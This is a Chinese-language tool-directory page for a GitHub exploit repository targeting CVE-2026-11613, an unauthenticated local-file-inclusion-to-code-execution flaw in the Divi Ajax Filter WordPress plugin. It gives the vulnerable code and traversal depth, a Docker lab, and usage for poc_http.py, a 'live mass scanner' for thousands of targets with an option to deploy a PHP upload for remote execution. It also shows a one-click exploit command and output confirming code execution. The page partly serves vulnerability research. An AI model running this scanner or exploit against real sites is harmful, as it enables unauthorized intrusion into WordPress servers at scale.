Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-11613 — Divi Ajax Filter <= 5.1.2 未认证的本地文件包含漏洞(通过 'custom_loop_template') | Kitploit
工具/GitHubGitHub/wayang1337/cve-2026-11613
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试实验室与实践
GitHubwayang1337/cve-2026-11613

CVE-2026-11613

Divi Ajax Filter <= 5.1.2 未认证的本地文件包含漏洞(通过 'custom_loop_template')

查看仓库
6小时13分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-11613 — Divi Ajax Filter <= 5.1.2 — 未认证 LFI -> RCE

插件Divi Ajax Filter (Divi Engine, 高级版 — 不在 wordpress.org SVN 中)
受影响版本所有版本 <= 5.1.2 (实验室使用来自镜像的 3.1.8.4)
已修复版本5.1.3 (11/08/2026)
类型CWE-98 — PHP 本地文件包含,未认证
CVSS9.8 严重 (AV:N/AC:L/PR:N/UI:N)
公告Wordfence (发现者: h0xilo),发布于 04/09/2026
代码来源公共镜像: github.com/albertoformi/fr9z3i4pwxt3qx (WP 站点 + 插件位于 includes/modules/divi-ajax-filter/)

技术分析 (来自镜像代码 v3.1.8.4)

  1. 公开 nonce — includes/modules/FilterPosts/FilterPosts.php:1759 创建 wp_create_nonce('filter_object') 并通过 wp_localize_script (filter_ajax_object.security) 将其附加到为所有访客排队的脚本上 (wp_enqueue_scripts)。Nonce 并非障碍:每个访客都有其副本。
  2. 未认证入口点 — filter_ajax.php:3406-3407 和 loadmore_ajax.php:569-570 使用 wp_ajax_nopriv_* 注册处理程序 (无需登录)。
  3. 未经净化的输入 — filter_ajax.php:114-133 (loadmore: 73-91): $loop_var = json_decode(sanitize_text_field($_POST['loop_var'])),然后 $custom_loop_template = $loop_var['custom_loop_template'] 原样使用 — 没有 basename(),没有白名单,没有 realpath 检查。

目录结构

root@kitploit:~
cve-2026-11613/
├── poc_http.py                  # PoC + 实时大规模扫描器 (单文件)
├── divi-ajax-filter-3.1.8.4.zip # 可安装插件 (通过 WP 管理后台 / 插件 > 安装插件上传)
├── README.md
├── mirror-site/                 # github albertoformi/fr9z3i4pwxt3qx 的克隆
│   └── includes/modules/divi-ajax-filter/   # 插件 v3.1.8.4 (受影响版本)
└── lab/
    ├── docker-compose.yml       # WP 6.5 + MariaDB,端口 8099
    ├── setup.sh                 # 复制插件 + compose up
    ├── install_wp.sh            # 安装 WP + 验证
    └── wp-content/
        ├── mu-plugins/
        │   ├── zz-divi-shim.php        # DiviExtension/ET_Builder_* 垫片 (仅实验室)
        │   └── zz-activate-daf.php     # 自动激活插件
        ├── plugins/divi-ajax-filter/   # 易受攻击的插件 (挂载到容器)
        └── uploads/poc-rce.php         # 模拟的 "上传" 载荷 (末尾退出)

运行实验室

root@kitploit:~
bash lab/setup.sh        # 复制插件 + docker compose up (端口 8099)
bash lab/install_wp.sh   # 安装 WP (admin / LabPass!2026)
# 添加遍历所需的主题结构:
docker exec lab-wp-1 mkdir -p /var/www/html/wp-content/themes/twentytwentyfour/divi-ajax-filter/loop-templates
# 创建 2 个示例文章 (仅一次):
docker run --rm --volumes-from lab-wp-1 --network lab_default \
  -e WORDPRESS_DB_HOST=db -e WORDPRESS_DB_USER=wordpress \
  -e WORDPRESS_DB_PASSWORD=wordpress -e WORDPRESS_DB_NAME=wordpress \
  wordpress:cli wp post create --post_title="Lab Post 1" --post_status=publish

PoC / 实时扫描器 (无模式 — 所有目标均按实时处理)

root@kitploit:~
python poc_http.py target.com                       # 自动添加 http://
python poc_http.py https://target.com domain2.com   # 多个目标
python poc_http.py --list targets.txt --threads 30  # 大规模扫描 5000+
python poc_http.py --list targets.txt --fast        # 轻量扫描 2 请求/目标
python poc_http.py target.com --upload-name sh.php --upload-marker MYPWNED  # 部署 RCE
  • 无 scheme 的域名自动变为 http://;自动去重;结果即时 增量写入 results_cve-2026-11613.csv (Ctrl-C 安全,部分结果已保存)。
  • 每个目标的状态: VULN: LFI / VULN: LFI+RCE (绿色),not-confirmed (黄色), NO-NONCE / NO-PLUGIN (青色),UNREACHABLE / ERROR (红色)。
  • --no-color / 环境变量 NO_COLOR 用于纯文本输出;管道传输时颜色自动关闭。
  • 退出代码: 0 = 存在易受攻击的目标,1 = 不存在,130 = 被中断。

WayangXploit — 一键执行 (植入 canary + 自动验证 RCE)

root@kitploit:~
python wayang.py <site> <wp-user> <wp-pass>

单条命令:登录 → 植入 canary WayangXploit (小型非活动插件, 仅 PoC:打印 marker+uid+uname 后退出,非 webshell,无 cmd 参数) → 验证 → 未认证 LFI 扫描 → RCE 判定。自动:https 升级、 SSL 绕过、保留重定向的 POST。清理:测试后在 wp-admin 中删除 "WayangXploit Canary" 和 "Divi Compat Shim" 插件。

poc_http.py 现在默认 --upload-marker WayangXploit-RCE-CONFIRMED (因此只需 --upload-rel / --upload-name 即可)。

实验室验证结果 (真实,来自 HTTP 响应)

root@kitploit:~
[+] LFI: action=divi_filter_ajax_handler depth=5: included xmlrpc.php EXECUTED (marker 'methodResponse')
[+] RCE: action=divi_filter_ajax_handler depth=5: included wp-content/uploads/poc-rce.php EXECUTED
VERDICT: VULNERABLE - RCE confirmed
evidence: CVE-2026-11613-RCE-CONFIRMED | uid=33 user=www-data | uname=Linux ... 6.18.33.2-microsoft-standard-WSL2

实时目标的可利用条件 (live_scan.py 会检查):

  1. Divi Ajax Filter 插件 <= 5.1.2 处于活动状态 (侦察:直接访问插件主文件)。
  2. filter_object nonce 在公共页面上暴露 (模块脚本已排队)。
  3. 存在 <theme>/divi-ajax-filter/loop-templates/ (带前缀的遍历需要此目录)。
  4. 对于 RCE:存在攻击者可访问的 .php 文件 (例如上传结果) — 仅 LFI 仍有影响 (任何 .php 文件的信息泄露 / 认证绕过)。
下载工具
  • Sink — filter_ajax.php:2871-2873 (loadmore: 344-346):
    root@kitploit:~
    if ($loop_templates == 'custom-template') {
        if (file_exists(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template)) {
            include(get_stylesheet_directory() . '/divi-ajax-filter/loop-templates/' . $custom_loop_template);
    
    条件:请求必须进入非 WooCommerce 分支 ($posttype 来自 JSON query,无限制,没有允许列表),且查询必须返回 >= 1 篇文章。
  • 遍历深度 — 基础目录 = <webroot>/wp-content/themes/<theme>/divi-ajax-filter/loop-templates/ → 需要 ../../../../../ (5 次) 才能回到 webroot。重要说明: 如果路径前缀组件不存在,file_exists()/include() 会静默失败 — 主题内的 divi-ajax-filter/loop-templates/ 目录必须存在 (这是 插件文档化的自定义模板结构,因此在使用此功能的站点上通常存在; 没有该目录,遍历会被有效阻止)。
  • RCE — 如果攻击者能在服务器上放置 .php 文件 (作者权限用户上传、 宽松的上传配置、其他插件),包含上传文件 = 代码执行。